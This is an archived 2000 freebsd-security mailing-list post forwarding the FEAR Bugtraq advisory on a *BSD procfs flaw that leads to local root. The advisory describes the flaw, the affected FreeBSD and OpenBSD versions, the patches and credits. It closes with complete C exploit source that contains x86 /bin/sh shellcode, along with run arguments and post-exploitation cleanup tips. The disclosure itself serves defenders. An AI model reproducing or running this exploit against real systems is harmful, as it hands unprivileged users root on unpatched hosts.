Date: Sun, 23 Jan 2000 18:13:51 -0600 From: Tim Yardley <yardley@uiuc.edu> To: freebsd-security@FreeBSD.ORG Subject: Fwd: *BSD procfs vulnerability Message-ID: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu>
next in thread | raw e-mail | index | archive | help
i would hope this is getting looked into... >Approved-By: aleph1@SECURITYFOCUS.COM >Delivered-To: bugtraq@lists.securityfocus.com >Delivered-To: bugtraq@securityfocus.com >Date: Fri, 21 Jan 2000 22:10:06 +0200 >Reply-To: FEAR Advisories <fear-adv@FEAR.COM.PL> >Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> >From: FEAR Advisories <fear-adv@FEAR.COM.PL> >Subject: *BSD procfs vulnerability >X-To: bugtraq@securityfocus.com >To: BUGTRAQ@SECURITYFOCUS.COM > >/* note for the moderator - this is a resend. If you have received the >previous copy, pls disregard this message; otherwise, pls remove this >comment before sending it to the list */ > Fast Emergency AVET Response > SECURITY ADVISORY > January 2000 > FEAR ID: 1 > *BSD procfs vulnerability > >============================================================================== > >PROBLEM DESCRIPTION > > In January 1997 a fatal flaw in *BSD procfs code (leading to a local root >compromise) was discussed on various security forums. The exploit code >dealt with /proc/pid/mem interface. Since then *BSD kernels contained a >simple fix which was meant to close this hole. > Unfortunately, throughout these three years it was still possible to >abuse /proc/pid/mem in a symilar, though more complicated fashion, which >could lead to local root compromise. > >============================================================================== > >VULNERABLE PLATFORMS > > The bug is present in kernels used in current (and almost any older) >FreeBSD and OpenBSD distributions. In order to make this flaw exploitable, >procfs filesystem must be mounted. In default FreeBSD 3.3 installation, >procfs IS mounted; in default OpenBSD 2.6 installation, it is NOT. Note that >administrators often mount procfs filesystem for its benefits. > >============================================================================== > >TECHNICAL DETAILS > > The procfs exploit code from 1997 was straightforward. An unpriviledged >process A forks off a process B. A opens /proc/pid-of-B/mem. B execs a >setuid binary. Though now B has a different euid than A, A is still able to >control B's memory via /proc/pid-of-B/mem descriptor. Therefore A can change >B's flow of execution in an arbitrary way. > In order to stop this exploit, an additional check was added to the code >responsible for I/O on file descriptors referring to procfs pseudofiles. In >miscfs/procfs/procfs.h (from FreeBSD 3.0) we read: >/* > * Check to see whether access to target process is allowed > * Evaluates to 1 if access is allowed. > */ >#define CHECKIO(p1, p2) \ > ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ > ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ > ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ > ((p2)->p_flag & P_SUGID) == 0) || \ > (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) > > As we see, process performing I/O (p1) must have the same uids as target >process (p2), unless... p1 has root priviledges. So, if we can trick a >setuid program X into writing to a file descriptor F referring to a procfs >object, the above check will not prevent X from writing. As some of readers >certainly already have guessed, F's number will be 2, stderr fileno... We >can pass to a setuid program an appropriately lseeked file descriptor no 2 >(pointing to some /proc/pid/mem), and this program will blindly write there >error messages. Such output is often partially controllable (e.g. contains >program's name), so we can write almost arbitrary data onto other setuid >program's memory. > This scenario looks similar to > ' close(fileno(stderr)); execl("setuid-program",...) ' >exploits, but in fact differs profoundly. It exploits the fact that the >properties of a fd pointing into procfs is not determined fully by "open" >syscall (all other fd are; skipping issues related to securelevels). These >properties can change because of priviledged code execution. As a result, >(priviledged) children of some process P can inherit a fd opened read-write, >though P can't directly gain such fd via open syscall. > The attached sample exploit (for Intel platform) code runs >/usr/bin/passwd, but almost any setuid program can be used. This code was >tested on FreeBSD 2.8, 3.0 and 3.3 as well as on OpenBSD 2.4, 2.5 and 2.6. >The code overwrites stack with addresses of a shellcode, which is placed in >an environment variable. The code is a bit crude, but there were some obscure >problems with building a working exploit. It requires two arguments: an >offset from the current stack >pointer and an offset from default shellcode position. >/procfs_exp -4000 -10000 >worked for all tested platforms. Having seen "#" prompt, one should probably >issue "stty sane" command to clean tty state. On OpenBSD, having gained root >prompt one should remove /etc/ptmp file. > >============================================================================== > >SOLUTION > > Linux also features proc filesystem with symilar functionality, but it is >not vulnerable to this exploit. That is so because on Linux if a process p1 >wishes to alter the memory of process p2 via /proc/pid-of-p2/mem, p2 must be >traced by p1 (moreover, mem_write function is currently defined as NULL, so >/proc/pid/mem can be altered only with use of mmap; irrelevant here). It may >be tempting to impose symilar restriction in *BSD kernels. However, on *BSD >a process p1 can attach p2 for tracing merely by writing to >/proc/pid-of-p2/ctl file; as we have just seen it is possible to force a >setuid program to write arbitrary strings to /proc files. > The solution (by deraadt) is to add a certain check in execve syscall. If >a process X tries to exec a setuid binary, we make sure it holds no open >descriptors pointing into procfs filesystem. > Patches are available on >http://www.openbsd.org/errata.html#procfs >ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch > As a workaround, it is enough to umount /proc and comment it out from >/etc/fstab. > >============================================================================== > >CREDITS > > The discovery of this vulnerability, as well as the sample exploit, was >done by Rafal Wojtczuk <nergal@avet.com.pl>; > deraadt for discarding our original idea of the fix because of its >inefficiency and finding a better one; > deraadt@openbsd.org and security-officer@freebsd.org for immediate >response and supplying patches for their systems. >Other FEAR security materials can be found at : >http://www.fear.pl > >============================================================================== > >EXPLOIT CODE >/* by Nergal */ >#include <errno.h> >#include <signal.h> >#include <stdio.h> >#include <stdlib.h> >#include <unistd.h> >#include <fcntl.h> >#include <string.h> >#include <signal.h> >#include <sys/wait.h> > >char shellcode[] = >"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20" >"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" >"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" >"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" >"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00"; > >#define PASSWD "./passwd" >void >sg(int x) >{ >} >int >main(int argc, char **argv) >{ > unsigned int stack, shaddr; > int pid,schild; > int fd; > char buff[40]; > unsigned int status; > char *ptr; > char name[4096]; > char sc[4096]; > char signature[] = "signature"; > > signal(SIGUSR1, sg); >if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST) >{ >perror("creating symlink:"); >exit(1); >} > shaddr=(unsigned int)&shaddr; > stack=shaddr-2048; > if (argc>1) > shaddr+=atoi(argv[1]); > if (argc>2) > stack+=atoi(argv[2]); > fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack); > fprintf(stderr,"Wait for \"Press return\" prompt:\n"); > memset(sc, 0x90, sizeof(sc)); > strncpy(sc+sizeof(sc)-strlen(shellcode)-1, > shellcode,strlen(shellcode)); > strncpy(sc,"EGG=",4); >memset(name,'x',sizeof(name)); > for (ptr = name; ptr < name + sizeof(name); ptr += 4) > *(unsigned int *) ptr = shaddr; > name[sizeof(name) - 1] = 0; > > pid = fork(); > switch (pid) { > case -1: > perror("fork"); > exit(1); > case 0: > pid = getppid(); > sprintf(buff, "/proc/%d/mem", pid); > fd = open(buff, O_RDWR); > if (fd < 0) { > perror("open procmem"); > wait(NULL); > exit(1); > } > /* wait for child to execute suid program */ > kill(pid, SIGUSR1); > do { > lseek(fd, (unsigned int) signature, SEEK_SET); > } while > (read(fd, buff, sizeof(signature)) == > sizeof(signature) && > !strncmp(buff, signature, sizeof(signature))); > lseek(fd, stack, SEEK_SET); > switch (schild = fork()) { > case -1: > perror("fork2"); > exit(1); > case 0: > > dup2(fd, 2); > sleep(2); > execl(PASSWD, name, "blahblah", 0); > printf("execl failed\n"); > exit(1); > default: > waitpid(schild, &status, 0); > } > fprintf(stderr, "\nPress return.\n"); > exit(1); > default: > /* give parent time to open /proc/pid/mem */ > pause(); > putenv(sc); > execl(PASSWD, "passwd", NULL); > perror("execl"); > exit(0); > > } >} -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?4.2.0.58.20000123181240.0144ef10>